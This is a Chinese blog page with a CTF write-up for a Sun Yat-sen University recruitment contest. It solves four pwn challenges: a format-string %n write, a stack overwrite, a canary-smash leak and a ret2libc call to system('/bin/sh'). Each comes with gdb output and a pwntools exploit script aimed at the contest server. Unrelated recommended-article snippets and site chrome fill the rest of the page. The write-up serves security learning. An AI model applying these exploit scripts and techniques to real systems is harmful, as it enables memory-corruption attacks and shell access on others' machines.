中山大学招新赛

数学建模小白必看:5分钟搞懂图论里的权重邻接矩阵(附在线作图网站推荐) 本文为数学建模初学者详细解析图论中的权重邻接矩阵,通过实际案例展示其在交通网络优化和社交网络分析中的应用。文章还推荐了CS Academy等在线作图工具,帮助读者快速掌握矩阵构建技巧,提升建模效率。 阅读详情

pwn1

--

修改小数字

%n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。

我们的payload可以设计成 address+(100-4)长度+%x$n //x是format位置和v4位置的距离

利用gdb加载pwn1,我们先输入%3$p

gdb-peda$ ni
0x1         //输出0x1
[----------------------------------registers-----------------------------------]
EAX: 0x3 
EBX: 0x0 
ECX: 0x3 
EDX: 0xf7faa890 --> 0x0 
ESI: 0xf7fa9000 --> 0x1d5d8c 
EDI: 0x0 
EBP: 0xffffd288 --> 0x0 
ESP: 0xffffd200 --> 0xffffd21c ("%3$p")
EIP: 0x804857d (<main+114>:	add    esp,0x10)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048574 <main+105>:	lea    eax,[ebp-0x6c]
   0x8048577 <main+108>:	push   eax
   0x8048578 <main+109>:	call   0x80483c0 <printf@plt>
=> 0x804857d <main+114>:	add    esp,0x10
   0x8048580 <main+117>:	mov    eax,DWORD PTR [ebp-0x70]
   0x8048583 <main+120>:	cmp    eax,0x64
   0x8048586 <main+123>:	jne    0x8048598 <main+141>
   0x8048588 <main+125>:	sub    esp,0xc
[------------------------------------stack-------------------------------------]
0000| 0xffffd200 --> 0xffffd21c ("%3$p")
0004| 0xffffd204 --> 0xffffd21c ("%3$p") //format的地址  %p位置
0008| 0xffffd208 --> 0xf7fce410 --> 0x80482ee ("GLIBC_2.0") //%2$p位置
0012| 0xffffd20c --> 0x1   //%3$p位置
0016| 0xffffd210 --> 0x0 
0020| 0xffffd214 --> 0x1 
0024| 0xffffd218 --> 0x7b ('{') //v4在栈中位置
0028| 0xffffd21c ("%3$p")  //format在栈中位置
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0804857d in main ()

我们的payload设计成 p32(0xffffd218)+%96d+%7$n ,

这个payload的意思,首先%7$n先找到%7$p的位置,而这个位置存着0xffffd218地址,$n修改0xffffd218位置的数据为p32(0xffffd218)+%96d的长度既修改成100

exp如下

from pwn import *
#sh = process('./pwn1')
sh = remote("sysucsa.me",5050)
c_addr = int(sh.recvuntil('\n', drop=True), 16)
print hex(c_addr)
payload = p32(c_addr) + '%096d' + '%7$n'
print payload
#gdb.attach(sh)
sh.sendline(payload)
print sh.recv()
sh.interactive()

pwn2

最简单的栈数据覆盖

s在栈中位置为[ebp-20h]

v5在栈中的位置为[ebp-Ch]

s和v5的相对位置为0x14

payload为 'a'*0x14 + '\xcd\xab\x34\x12'    //305441741转成16进制为 1234abcd,

exp如下

from pwn import *
#sh = process('./pwn2')
sh = remote("sysucsa.me",5051)
payload = 'A'*20+'\xcd\xab\x34\x12\n'
print payload
sh.sendline(payload)
sh.interactive()

pwn3

这里涉及到canary保护机制,我们可以可以利用canary的报错机制。把我们想要leak的地址把argv[1]覆盖。

flag存在buffer里面

.bss:0804A060                 public buffer
.bss:0804A060 buffer          db    ? ;               ; DATA XREF: main+80↑o

然后算一下argv[0]与buf的相对距离


gdb-peda$ stack
0000| 0xffffd290 --> 0x1 
0004| 0xffffd294 --> 0xffffd324 --> 0xffffd4b4 ("/root/Documents/pwn3/pwn3")
0008| 0xffffd298 --> 0xffffd32c --> 0xffffd4ce ("LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc"...)

[----------------------------------registers-----------------------------------]
EAX: 0xf7faadd8 --> 0xffffd32c --> 0xffffd4ce ("LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc"...)
EBX: 0x0 
ECX: 0xffffd290 --> 0x1 
EDX: 0xffffd2b4 --> 0x0 
ESI: 0xf7fa9000 --> 0x1d5d8c 
EDI: 0x0 
EBP: 0xffffd278 --> 0x0 
ESP: 0xffffd274 --> 0xffffd290 --> 0x1 
EIP: 0x80485a9 (<main+14>:    sub    esp,0x24)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]


0004| 0xffffd294 --> 0xffffd324 --> 0xffffd4b4 ("/root/Documents/pwn3/pwn3")

可以得知argv[0]的位置为0xffffd324

ebp=0xffffd278 

buf =ebp-20h = 0xffffd258

argv[0]-buf=0xcc

payload = '\00'*0xcc + p32(0x0804A060)

exp如下

from pwn import *
context.log_level = 'debug'

cn = remote('sysucsa.me', 5052)
#cn = process('pwn_smashes')
cn.recv()
cn.recv()
cn.sendline('\00'*204+p32(0x804A060))#x 52~59
cn.recv()
cn.interactive()
#gdb.attach(cn)
#log.success('flag is:'+flag)

pwn4

利用ret2libc2

利用gadgets没有找到'/bin/sh'

所以需要我们调用gets函数并构造相关参数,并再调用system函数,并把'/bin/sh'传入system中

payload构成  填充字符串+gets地址+pop ebx地址+buffer地址 +system地址

 0x8048430 <gets@plt>:    jmp    DWORD PTR ds:0x804a00c
   0x8048436 <gets@plt+6>:    push   0x0
   0x804843b <gets@plt+11>:    jmp    0x8048420
   0x8048440 <time@plt>:    jmp    DWORD PTR ds:0x804a010
   0x8048446 <time@plt+6>:    push   0x8
   0x804844b <time@plt+11>:    jmp    0x8048420
   0x8048450 <puts@plt>:    jmp    DWORD PTR ds:0x804a014
   0x8048456 <puts@plt+6>:    push   0x10
   0x804845b <puts@plt+11>:    jmp    0x8048420
   0x8048460 <system@plt>:    jmp    DWORD PTR ds:0x804a018
   0x8048466 <system@plt+6>:    push   0x18
   0x804846b <system@plt+11>:    jmp    0x8048420
gets adress = 0x8048430

system adress =0x8048460

pop ebx addres 0x08048415

buffer 找到一个bss段位置找一个存储位置0x804a080

算一下s与返回地址的相对偏移

   0x0804863a <+25>:    lea    eax,[ebp-0x58]
   0x0804863d <+28>:    push   eax
   0x0804863e <+29>:    call   0x8048430 <gets@plt>

相对偏移 = 0x58+4= 92

payload =flat(
    ['a' * 92, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2])

栈迁移过程记录,栈指针rsp、rbp、rip、leave变化过程 栈迁移 通过ROP leave_ret 改变ebp的值伪造栈,到达栈迁移的目的。下面就一个题目的一个payload进行调试,逐指令理解栈迁移的过程。这里只是通过ROP来实现,还有一种是通过ROP,向bss段伪造栈,这个以后再说。 stack=rbp-0x70 #指向当前栈顶 # ROPgadget --binary easy_ad --only "pop|ret" | grep rdi pop_rdi_ret=0x400953 fun_addr=0x400756 leave_ret=0x4007B5 pu 阅读详情

相关推荐

第二届“奇安信”杯网络安全技能竞赛Reverse | debug32

第二届“奇安信”杯网络安全技能竞赛Reverse - debug32吸引了来自全国各地的网络安全爱好者和专业人士参与。这次比赛以“反向调试”为主题,要求参赛者在规定时间内破解一个32位程序,并获取其源代码。比赛现场气氛紧张而有序。参赛者们全神贯注地盯着电脑屏幕,不断地敲击着键盘和鼠标。他们需要根据程序的特征和运行情况,逐步分析并破解它...

ZhiYilang的博客 1108

CVE-2015-7547溢出漏洞的简单分析与调试 glibc getaddrinfo

bug:说明https://www.seebug.org/vuldb/ssvid-90749 漏洞编号:SSV-90749 披露/发现时间:2015-07-13 提交时间:2016-02-17 漏洞等级: 漏洞类别:缓冲区溢出 CVE-ID:CVE-2015-7547 CNNVD-ID:补充  CNVD-ID:补充  漏

vc66vcc的博客 3340

第六届中山大学ICPC新手赛网络预选赛试题

第六届中山大学ICPC新手赛网络预选赛试题。

浅谈 C 字符串数组的内存布局

首先感谢秋豪大佬对文章的校对以及耐心的指导 先献上我的膝盖 or2 整理了四种常见的使用 C 语言字符串数组的形式 分别对这以下几种的内存布局进行分析 char* array[] = { "line1", "line10", "line100", "line1000", }; char **array = { "line1", "line10...

私房菜 1443

中山大学acm比赛试题

中山大学一直以来是中国acm强队之一,每年都会举行校内高层次比赛,以促进计算机专业学生的发展。文件包含了中山大学第二,三,四届的acm全部试题。

中山大学计算机网络实验

中山大学计算机网络实验所有内容,包括跨交换机、静态路由,ospf、ACL、网络综合设计,期末测试等王盛邦老师的实验

中山大学_程序设计新手赛2023_4题的小朋友_总结

法一:手算,反正我们开始3个人就是每个人在草稿纸上令n =10^5手算 执行的语句的数量是否会超过10^8,虽然一开始就做对了,几分钟的事情,但是,我们提交的时候因为没有<<endl,所以提交错了4次,怎么说,哎,比赛,没办法,它也没说。(2)这时候,我们 这一对 1度数 和 >1度数连一条边,然后 n -> n-1个节点,2n-2度数 ->2*(n-2)-2度数,同样 这n-1个节点中,一定有 度数为1 和 大于1....妙!--对,就是贪心,我感觉证明了之后不会有 更优的构建方法了,哈哈哈哈哈。

xiao_ZHEDA的博客 866

zds1104示波器使用指南

(2)将探头连接到探头补偿端,按下auto setup按键,一键捕获。(3)连接需要测量信号,开始查看波形。操作说明书,可以自行查看操作说明书。

m0_61973119的博客 6772

跟着CTF-Wiki学pwn|格式化字符串(1)

文章目录格式化字符串漏洞原理介绍格式化字符串函数介绍格式化字符串函数格式化字符串参数格式化字符串漏洞原理格式化字符串漏洞利用程序崩溃泄露内存泄露栈内存获取栈变量数值获取栈变量对应字符串泄露任意地址内存覆盖内存覆盖栈内存确定覆盖地址确定相对偏移进行覆盖覆盖任意地址内存覆盖小数字覆盖大数字 格式化字符串漏洞原理介绍 首先,对格式化字符串漏洞的原理进行简单介绍。 格式化字符串函数介绍 格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数。通俗来说,格式化字符串函数就是将计

Kni9hT's Blog 2495

QLIB使用tushare更新每日行情

0. 介绍 qlib每日数据的源是yahoo,更新速度较慢并且不稳定。tushare每日行情是免费接口,速度较快。 1. 获取行情数据,保存为csv格式。 def GetDataFromTushare(self, today, fpath): pro = ts.pro_api() df = pro.daily(trade_date=today) for index, row in df.iterrows(): code = row['ts_code']

weixin_44177216的博客 2897

pyecharts可视化图表-tree:从入门到精通

本文系统介绍了树图(Tree Chart)的可视化技巧,包含基础实现、方向定制和环形布局等实例。树图能清晰展示层次结构数据,适用于组织架构、文件系统等场景。教程详细解析了pyecharts树图的核心配置项,包括数据准备、方向设置(下上、右左)和样式定制,并提供了完整代码示例。通过本指南,读者可快速掌握专业树图的构建方法,实现复杂层次数据的可视化呈现。

大数据内容个人总结与分享 1970

中山大学招新赛之部分web

Robots 题目 http://sysucsa.me:8082/web2/index.php Writeup 经验、套路: 查看页面源代码,没啥发现,经验撞路,这里推荐一篇博客 https://blog.youkuaiyun.com/cs_xiaoqiang/article/details/7908...

chituodun4410的博客 176

阿里云Windows服务器部署网站全流程:从IIS配置到安全上线

Web服务器是承载网站应用、处理HTTP请求的核心软件。其工作原理是监听特定网络端口,接收客户端请求,并返回相应的网页、文件或动态生成的内容。在Windows Server环境中,IIS(Internet Information Services)作为微软官方Web服务器,凭借其与操作系统深度集成、图形化管理界面和对ASP.NET等微软技术栈的良好支持,成为许多开发者和运维人员的首选。其技术价值在于提供了稳定、可扩展的托管平台,支持从简单的静态网站到复杂的企业级Web应用。在云服务器普及的今天,将IIS部署

weixin_33552698的博客 327

中山大学招新赛-fake md5 collision

fake md5 collision 时间:2018年9月28日 汇报人:王祎洁 题目 http://193.112.74.17/web2/ Writeup 一看这架势,先查看页面源代码,寻找两个输入框之间的关系: 通过这个关系进行flag的获取,先尝试初步输入a,b后的情况: 发现可以在地址栏动手脚: ![4](C:\Users\1216\CTF\小白日常学习总结(2018...

wyj_1216 House 552

采购订单定价策略 超详细

‘需求’字段里填写的是一个例程编号(例程是一段判断程序),如果我们在需求中维护了例程编号,那只有这个例程条件被满足时,这个条件表才会被系统自动读取。一部分的条件表只有在凭证项目满足一定的条件时才会被读取。 ‘排斥的’字段如果别勾中的话,那表明如果这个条件表被系统成功读取到数据后,系统将停止这个存取顺序的执行,否则,系统将继续执行下去。 注意:a、如果我们给某个条件类型设定了有效期的话,那我们必须给这个条件类型分配一个存取顺序。 b、不能给一个抬头条件分配存取顺序。 是...

竹大的博客 1万+

泛微ecology9 HRMwebservice接口实战:企业组织架构与人员信息同步指南

本文详细介绍了泛微ecology9 HRMwebservice接口在企业系统集成中的实战应用,重点解析了如何通过该接口实现组织架构与人员信息的双向同步。内容涵盖环境配置、核心接口调用、数据格式规范及常见错误排查,旨在帮助开发与运维工程师高效完成主数据同步,提升企业IT管理效率。

weixin_29323365的博客 498

中山大学招新赛-AAencode

AAencode 时间:2018年9月28日 汇报人:王祎洁 题目: http://sysucsa.me:8081/AAencode/ Writeup 一堆颜文字向你袭来,什么感觉? 不用慌,颜文字不稀奇,解个密就出来: 在这里推荐一下这个网站: http://ctf.ssleye.com/ 本题用的是这个网站下面的一个解密算法: http://ctf.ssleye.com/aa...

wyj_1216 House 554

电商数据采集实战——多平台价格监控、比价分析与智能告警系统

在电商竞争日益激烈的今天,价格监控与比价分析已成为品牌商、渠道商和消费者的核心需求。对于品牌商而言,需要监控各渠道售价是否低于指导价(破价监控);对于消费者而言,希望在最佳时机以最低价购入心仪商品;对于数据分析师而言,价格波动数据是洞察市场趋势的金矿。然而,电商数据采集面临三大核心挑战:本文将基于 Python + Scrapy + Playwright + Redis + ClickHouse 技术栈,构建一套完整的电商价格监控与比价系统。架构分层说明:电商平台的反爬手段层出不穷,采集系统必须具备多层次的

从事移动开发八年,csdn博客专家,阿里云特邀专家,华为云云享专家,高级网络信息安全工程师,大数据工程师(高级),python技术开发(高级),HarmonyOS 应用开发者高级认证,现在某学校任教。 136

中山大学招新赛-Robots

Robots 时间:2018年9月28日 汇报人:王祎洁 题目 http://sysucsa.me:8082/web2/index.php Writeup 经验、套路: 查看页面源代码,没啥发现,经验撞路,这里推荐一篇博客 https://blog.youkuaiyun.com/cs_xiaoqiang/article/details/79088681 仔细考虑给的提示,地址栏输入robots...

wyj_1216 House 380

2026马斯克《Moonshots》播客独家访谈全记录与深度解析

本次访谈是马斯克2026年首份重磅公开对话,录制于2025年12月22日美国得克萨斯州奥斯汀特斯拉超级工厂(Cybertruck与Optimus机器人核心生产基地),于2026年1月6日通过《Moonshots》播客正式上线,全时长近3小时。

lpfasd123的博客 2657

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

中山大学招新赛-单身二十年

单身二十年 时间:2018年9月28日 汇报人:王祎洁 题目 http://sysucsa.me:8081/单身二十年/ writeup 尝试点击“Key在这里”,发现被骗了: 返回原来页面,查看页面源代码: 发现隐藏链接,点击进入: 如果仍然跳不出来,观察地址栏并不是自己原来的链接网址,手动输入即可得到 ...

wyj_1216 House 400

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

2024--ACM&TC第二次招新赛题解

签到:2,8 简单:4,5,7 中等:3,6,9,10 困难:1,11写不到五题说不过去吧…五题往上才是看实力的地方查找小数点:遍历输入的数字字符串,找到小数点的位置。若没有小数点,则直接返回该数字。 分离整数部分和小数部分:使用小数点位置将字符串分为整数部分和小数部分。 四舍五入逻辑: 从小数部分的最后一位开始向前处理,判断每位数字是否大于等于5,以决定是否进位。 将进位结果加到整数部分的相应位置上,处理可能的进位。 构建结果:将处理后的整数部分作为最终结果返回。 2.埃特巴什码加密(Atbash Cip

土豆片的博客 1322

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

计算机学院学生会招新宣传语,学生会招新宣传语(3篇)

学生会招新幽默宣传语1、求萌妹,求御姐,求正太,求大叔云集各类精英,社团联合会,期待你的加入2、吾辈之道,未入岂能知晓,东大社联,来了才知道。3、加入我们,我们会帮你发现自己的闪光点,让你发现美并创造美,让你的大学生活如理想般充实,快乐。4、你认为自己无一专长却有一颗热忱的心,愿意为社团运作贡献出自己的力量吗?5、给自己一个机会,创造自己的精彩。6、学生会,逐梦开始的地方。7、有你,他的生活会更好...

weixin_42502295的博客 1616

论大学生参与社团是否必要

论大学生参与社团是否必要 从社团中可以得到什么? 失去了什么? 为什么有的人不喜欢参加社团? 不参加社团是否意味着你是一条没有梦想的咸鱼?

Artemis16340304的博客 1236

2005. Lovely Number 很神奇的一道题 2010中山大学新手赛-网络预选赛

2005. Lovely Number Constraints Time Limit: 1 secs, Memory Limit: 64 MB Description Every time after got a solution from kevin, ivan repeats again and again,"Are there any better ones?". It seem

樂樂被打击了的专栏 829

php组件缓冲区溢出漏洞,DNSTracer 1.9 缓冲区溢出漏洞(CVE-2017-9430)分析

漏洞描述DNSTracer 是一个用来跟踪 DNS 解析过程的应用程序。DNSTracer 1.9 及之前的版本中存在栈缓冲区溢出漏洞。攻击者可借助带有较长参数的命令行利用该漏洞造成拒绝服务攻击。漏洞复现推荐使用的环境备注操作系统Ubuntu 12.04体系结构:32 位调试器gdb-peda版本号:7.4漏洞软件DNSTracer版本号:1.9首先编译安装 DNSTracer:$ wget ht...

weixin_42500866的博客 781
上一篇: pwnable kr 之 random
下一篇: 2018 安恒杯 6 月 pwn - over
Maxmalloc
博客等级 码龄8年 12粉丝 33原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值